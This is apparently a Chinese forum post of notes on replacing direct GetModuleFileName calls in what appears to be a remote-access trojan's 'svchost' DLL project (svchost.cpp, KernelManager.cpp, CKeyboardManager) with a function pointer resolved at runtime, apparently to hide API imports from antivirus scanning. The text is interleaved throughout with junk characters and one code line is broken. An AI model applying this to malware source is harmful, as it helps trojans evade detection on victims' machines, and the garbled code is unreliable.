|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记( V2 i( m* u- S/ `- O! t
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h: o3 L) c% w6 }
----------------------------------------" \' W, {* b8 S) [0 R' P
DTDY.h:) Q1 p6 i. z0 S5 p4 p
7 e, w5 H" i7 t; [ n#if _MSC_VER>1000
' H& T* [) j2 e7 _ E: `#pragma once" k" e }% G2 } `# S
#endif //_MSC_VER>1000$ u6 x! R! h- h& B) V4 b$ U q
#include<windows.h>
, Z- ~ r1 ^6 Y6 @' v7 A; F& c6 Q' D, M* x
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);/ ]( q s# Z# s8 U6 v9 j) _
class DTDY9 Y% e3 M i! C
{
+ ^, @+ e& q* f! p5 ipublic:& [* M5 m `- n3 S- l0 g- P
DTDY();6 ~3 g) s' p$ R% S8 m o6 ?$ J/ a1 c
virtual ~DTDY();6 U7 J" a1 p/ j+ O6 K
public:9 F8 L, L' i& ]' S+ j) E
static pGetModuleFileNameA MyGetModuleFileName;
5 b9 x- _' f- g) T0 u m; Q0 }; dstatic BOOL FunInitiallization();; `4 I# U8 L& p4 q
};% g: c) z" U$ N
#endif0 d# k, o+ f" n/ d9 c( `7 h' h
----------------------------------------- b/ l# f; k4 x8 E7 `) C6 P7 a
. [- @4 z8 i$ D$ x( u. l* q8 a# l3 ]DTDY.cpp:% ?" g" y( z& O+ s6 p5 o! N
3 V7 O/ e0 q0 g
#include "DTDY.h"
& x: @) x9 l1 W$ t @. upGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
' m3 _) Z- v* RDTDY:TDY()$ l/ R7 S8 g$ Q4 ^
{% Q1 v0 w5 {5 Q3 G# ?: D
}5 ]$ d g" D$ u6 N9 G& y
DTDY::~DTDY()
6 H1 n6 ~. D# \# C. z% j$ |" l{
& J1 F) z: x& @ q8 n}
8 P& c" _+ u' [) v yBOOL DTDY::FunInitiallization()
: y: ^- h9 E. y9 G: X. ]2 l{9 B* b$ n" I( C7 q- [ [: {) A
HMODULE hModule=LoadLibrary("kernel32.dll");
& m% r Y! d/ U9 yMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- G: q' N& f8 D* m$ Rif(!MyGetModuleFileName=) return FALSE;* y' J) k2 O" C) M- S! a
: H% t% e/ ]. S/ R8 Qreturn TRUE;
* H5 g& x+ Z4 |}
& B% V9 c2 R+ D: B9 ?----------------------------------------
9 f8 {4 m: J, X5 ]5 osvchost.cpp:
+ W" f8 V) {3 W3 _
+ K8 g. I p, q/ `#include "DTDY.h"
- g8 _" \" l+ X' u1 e8 ^. u
, D I* c9 j) R6 bBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)8 |& S$ o; W$ _' c/ z6 R
{+ L- C, N6 E% Q+ a6 G& ?9 {% T
switch(ul_reason_for_call)
7 G4 g2 f, H$ m{2 W2 U6 E. ^7 f( v
case DLL_PROCESS_ATTACH:
* v/ X5 C- f7 ~, u% V- h2 xif(!DTDY::FunInitiallization()) return FALSE;
5 C5 I! _( `, ^
) \5 V" g$ p" T9 Z4 ]break;
5 N; T. i R4 E3 A3 c}% ~! b x) y6 d9 t# g, F: B
}
7 l% B& b: h, D- c7 x; X! ], U6 J- v4 v2 a/ [/ ^7 s' \
+ z; b( }9 c* gGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* {- ]! b3 T# b. i( i! r) C# J7 j9 n
改写为
4 M0 Q1 r+ i0 a) bDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
3 Z: _2 {, T' L* Y----------------------------------------' C" T' o( z4 |+ `4 P* D+ W
KernelManager.cpp:! ~& l/ o: q- |% Y
$ y& w6 m- O) Q+ o( z. _- j$ x/ J% B#include "../DTDY.h"
9 Z! q* V2 d: n0 q lGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ l7 w, _1 ]# L9 t. E
改写为
+ Y* W" e& T$ H" x: u& LDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
h. S$ d$ R* R' y: o' j" u---------------------------------------- |
|